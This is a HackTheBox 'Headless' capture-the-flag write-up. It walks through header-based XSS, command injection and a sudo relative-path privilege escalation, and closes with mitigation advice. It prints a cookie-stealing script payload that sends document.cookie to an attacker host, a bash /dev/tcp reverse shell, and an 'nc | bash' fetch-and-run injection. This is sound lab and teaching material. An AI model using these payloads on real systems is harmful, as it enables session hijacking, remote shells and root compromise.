HackTheBox - Headless
Description:
Headless from HackTheBox is an easy box where we exploit an XSS vulnerability to get admin cookie which gives us access to the admin dashboard. There we find a command injection vulnerability in a POST request, we exploit that to get foothold. After that we find we can run a script as root that runs another script with a relative path, so we create a script of our own and get a root shell.
Enumeration
nmap
We start an Nmap scan using the following command: sudo nmap -sC -sV -T4 {target_IP}
.
-sC: run all the default scripts.
-sV: Find the version of services running on the target.
-T4: Aggressive scan to provide faster results.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
Nmap scan report for 10.129.230.172
Host is up (0.43s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey:
| 256 90:02:94:28:3d:ab:22:74:df:0e:a3:b2:0f:2b:c6:17 (ECDSA)
|_ 256 2e:b9:08:24:02:1b:60:94:60:b3:84:a9:9e:1a:60:ca (ED25519)
5000/tcp open upnp?
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 200 OK
| Server: Werkzeug/2.2.2 Python/3.11.2
| Date: Mon, 25 Mar 2024 09:48:31 GMT
| Content-Type: text/html; charset=utf-8
| Content-Length: 2799
| Set-Cookie: is_admin=InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zfs; Path=/
| Connection: close
|
We found two open ports, 22 running SSH as usual, and 5000 is a Werkzeug
python web server.
Web
Letβs check the web page.
The website is not complete yet, but we got a /support
page where we can ask questions.
letβs run a directory scan:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
$ feroxbuster -w /usr/share/wordlists/seclists/Discovery/Web-Content/big.txt -u http://10.129.230.172/ -n
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher π€ ver: 2.10.2
ββββββββββββββββββββββββββββ¬ββββββββββββββββββββββ
π― Target Url β http://10.129.230.172/
π Threads β 50
π Wordlist β /usr/share/wordlists/seclists/Discovery/Web-Content/big.txt
π Status Codes β All Status Codes!
π₯ Timeout (secs) β 7
𦑠User-Agent β feroxbuster/2.10.2
π Config File β /etc/feroxbuster/ferox-config.toml
π Extract Links β true
π HTTP methods β [GET]
π« Do Not Recurse β true
ββββββββββββββββββββββββββββ΄ββββββββββββββββββββββ
π Press [ENTER] to use the Scan Management Menuβ’
ββββββββββββββββββββββββββββββββββββββββββββββββββ
Could not connect to http://10.129.230.172/, skipping...
=> error sending request for url (http://10.129.230.172/): error trying to connect: tcp connect error: Connection refused (os error 111)
ERROR: Could not connect to any target provided
βββ(siriusγΏkali)-[~/CTF/HTB/Machines/headless]
ββ$ feroxbuster -w /usr/share/wordlists/seclists/Discovery/Web-Content/big.txt -u http://10.129.230.172:5000/ -n
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher π€ ver: 2.10.2
ββββββββββββββββββββββββββββ¬ββββββββββββββββββββββ
π― Target Url β http://10.129.230.172:5000/
π Threads β 50
π Wordlist β /usr/share/wordlists/seclists/Discovery/Web-Content/big.txt
π Status Codes β All Status Codes!
π₯ Timeout (secs) β 7
𦑠User-Agent β feroxbuster/2.10.2
π Config File β /etc/feroxbuster/ferox-config.toml
π Extract Links β true
π HTTP methods β [GET]
π« Do Not Recurse β true
ββββββββββββββββββββββββββββ΄ββββββββββββββββββββββ
π Press [ENTER] to use the Scan Management Menuβ’
ββββββββββββββββββββββββββββββββββββββββββββββββββ
404 GET 5l 31w 207c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200 GET 93l 179w 2363c http://10.129.230.172:5000/support
200 GET 96l 259w 2799c http://10.129.230.172:5000/
500 GET 5l 37w 265c http://10.129.230.172:5000/dashboard
[####################] - 3m 20478/20478 0s found:3 errors:0
[####################] - 3m 20477/20477 112/s http://10.129.230.172:5000/
We found the support
page and itβs a 200, and we also found dashboard
but we get 500 code.
Letβs check the support page.
I filled the form and submitted it but I got nothing.
Next thing I tried is a XSS
attack using the js alert payload <script> alert(1) </script>
I submitted the request and got this:
The website detected the script, out IP is flagged and a report with our browser information is sent to the administrator.
Here we see the headers of our request. Letβs test for another XSS
, this time we put the payload in one of the headers.
We use the same data in picture 3 but we intercept the request with burp.
We modify one of the headers, in my case itβs user-agent
.
We got the alert and confirmed the XSS vulnerability.
XSS
Here are the information we have:
- The website uses a cookie called
id_admin
- There is a
dashboard
page that we canβt access - A report is sent to administrator when we submit suspicious message
- The report page is vulnerable to XSS
You see where we are going?
Our next step here is get the administratorβs cookie using the XSS vulnerability. The payload we can use is the following:
1
<script>fetch('http://attacker_ip/'+document.cookie)</script>
This payload if opened by the administratorβs browser, it sends a HTTP request to us with the administratorβs cookie.
We need to setup a listener with nc -lvnp 80
.
Now we put the payload in one of the headers.
I waited for some time but didnβt get the cookie, so I pasted the payload in multiple header:
I went back to the listener and got the cookie.
Now we change the cookie and go the dashboard
.
It worked!
Foothold
On the dashboard we see generate report button, when clicked it sends the following request.
I tried for command injection in the date
parameter and got a hit with ;id
.
Now time for a reverse shell. I put the following bash rev shell in a file:
1
bash -i >& /dev/tcp/10.10.16.26/9001 0>&1
I served the file with nc -lvnp 1234 < shell.sh
, this sends the content of the file when it getβs a connection.
Now I setup the revshell listener nc -lvnp 9001
.
On burp suite I put the command nc 10.10.16.26 1234|bash
which is going to connect to my first listener, get the bash rev shell command from it and pip it to bash in order to get executed.
We send the request with burp suite repeater and check the second listener.
We got a shell!
Privilege Escalation
After stabilizing the shell, I run sudo and found the following:
1
2
3
4
5
6
dvir@headless:~$ sudo -l
Matching Defaults entries for dvir on headless:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User dvir may run the following commands on headless:
(ALL) NOPASSWD: /usr/bin/syscheck
We can run /usr/bin/syscheck
as root.
Running the file gives the following:
1
2
3
4
5
dvir@headless:/tmp$ sudo /usr/bin/syscheck
Last Kernel Modification Time: 01/02/2024 10:05
Available disk space: 1.8G
System load average: 0.06, 0.02, 0.04
Database service is not running. Starting it...
I searched for it online but didnβt find anything so I printed it and got this:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/bin/bash
if [ "$EUID" -ne 0 ]; then
exit 1
fi
last_modified_time=$(/usr/bin/find /boot -name 'vmlinuz*' -exec stat -c %Y {} + | /usr/bin/sort -n | /usr/bin/tail -n 1)
formatted_time=$(/usr/bin/date -d "@$last_modified_time" +"%d/%m/%Y %H:%M")
/usr/bin/echo "Last Kernel Modification Time: $formatted_time"
disk_space=$(/usr/bin/df -h / | /usr/bin/awk 'NR==2 {print $4}')
/usr/bin/echo "Available disk space: $disk_space"
load_average=$(/usr/bin/uptime | /usr/bin/awk -F'load average:' '{print $2}')
/usr/bin/echo "System load average: $load_average"
if ! /usr/bin/pgrep -x "initdb.sh" &>/dev/null; then
/usr/bin/echo "Database service is not running. Starting it..."
./initdb.sh 2>/dev/null
else
/usr/bin/echo "Database service is running."
fi
exit 0
This is a bash script grabs some information about the system.
The interesting part here is the second if statement:
1
2
3
4
5
6
if ! /usr/bin/pgrep -x "initdb.sh" &>/dev/null; then
/usr/bin/echo "Database service is not running. Starting it..."
./initdb.sh 2>/dev/null
else
/usr/bin/echo "Database service is running."
fi
Here the script check for a process with the name initdb.sh
using pgrep
, if the process exists it prints Database service is running.
and if not, it runs ./initdb.sh 2>/dev/null
.
Here we can clearly see the vulnerability which is ./
, it tries to run the shell file initdb.sh
located in current directory.
We can try creating the same file in our current directory which would result in get it executed when we run the sudo command.
I moved to the /tmp
directory and created the initdb.sh
file that prints out the root flag when executed:
1
echo 'cat /root/root.txt' > initdb.sh
We need to give it execute permission with chmod +x initdb.sh
Now we run the sudo command and get the flag.
Alternatively, we can put /bin/bash
or some reverse shell command to get a shell as root.
Prevention and Mitigation
XSS (Cross-Site Scripting)
To prevent XSS you need to validate and sanitize all user inputs using a white list, as well as encoding the output before it get rendered in the browser.
Command injection
To avoid command injections, you should use libraries to carry out actions instead of calling OS commands directly. In our case, the web application is Flask, so python libraries can be used.
Sudo
The script runs a the initdb.sh
file located in the current directory ./
. We can avoid this one by using a full path of the fileβs location, for example(/usr/bin/initdb.sh). But also make sure the file is not writable by anyone and the parent directory belongs to root.
Thank you for taking the time to read my write-up, I hope you have learned something from this. If you have any questions or comments, please feel free to reach out to me. See you in the next hack :).